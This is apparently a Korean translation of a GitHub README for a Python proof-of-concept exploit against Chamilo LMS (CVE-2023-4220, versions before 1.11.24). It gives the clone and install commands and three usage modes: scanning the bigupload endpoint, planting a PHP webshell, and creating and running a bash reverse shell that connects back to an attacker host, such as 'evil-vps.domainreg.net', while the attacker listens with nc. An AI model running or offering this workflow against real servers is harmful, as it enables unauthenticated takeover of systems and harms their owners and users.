
이것은 CVE-2023-4220에 설명된 Chamilo LMS 소프트웨어 보안 취약점을 악용할 수 있는 Python으로 작성된 스크립트입니다.
이 스크립트는 CVE-2023-4220에 설명된 Chamilo's LMS 소프트웨어 보안 결함을 악용할 수 있는 Python 스크립트입니다. 이 시스템은 1.11.24 이전 버전에서 취약합니다.
저장소를 로컬 머신에 클론하고 pip를 사용하여 종속성을 설치합니다 (virtualenv를 사용하여 이러한 설치를 전역 설치와 분리하는 환경을 만드는 것이 좋습니다).
git clone https://github.com/charchit-subedi/chamilo-lms-unauthenticated-rce-poc cd chamilo-lms-unauthenticated-rce-poc pip install -r requirements.txt
스크립트는 Chamilo's 루트 경로(예: http://example.com/chamilo, http://example.com 또는 **http://chamilo.example.com)**를 포함한 대상 URL과 수행할 작업(사용 가능한 작업 세 가지: scan, webshell 및 revshell)이 필요합니다.
이 작업은 /main/inc/lib/javascript/bigupload/files/ 엔드포인트에 접근하여 대상이 취약한지 확인합니다.
python3 main.py -u http://example.com/chamilo -a scan
이 작업은 취약한 엔드포인트에 PHP 웹쉘 파일을 생성합니다.
python3 main.py -u http://example.com/chamilo -a webshell
이 작업은 bash 리버스 셸 파일을 생성하고 실행합니다. 이를 위해 먼저 이전 작업과 동일한 방법을 사용하여 웹쉘이 생성됩니다. 그런 다음 일부 명령이 실행되어 bash 파일을 생성하고 실행합니다. nc 또는 다른 유틸리티로 정의한 포트에서 리스닝하고 있어야 실제로 리버스 연결을 받을 수 있습니다. 또한 호스트는 유효한 내부/공용 IPv4(예: 172.17.1.4 또는 186.227.4.31) 또는 등록된 도메인(예: evil-vps.domainreg.net)일 수 있습니다.
python3 main.py -u http://example.com/chamilo -a revshell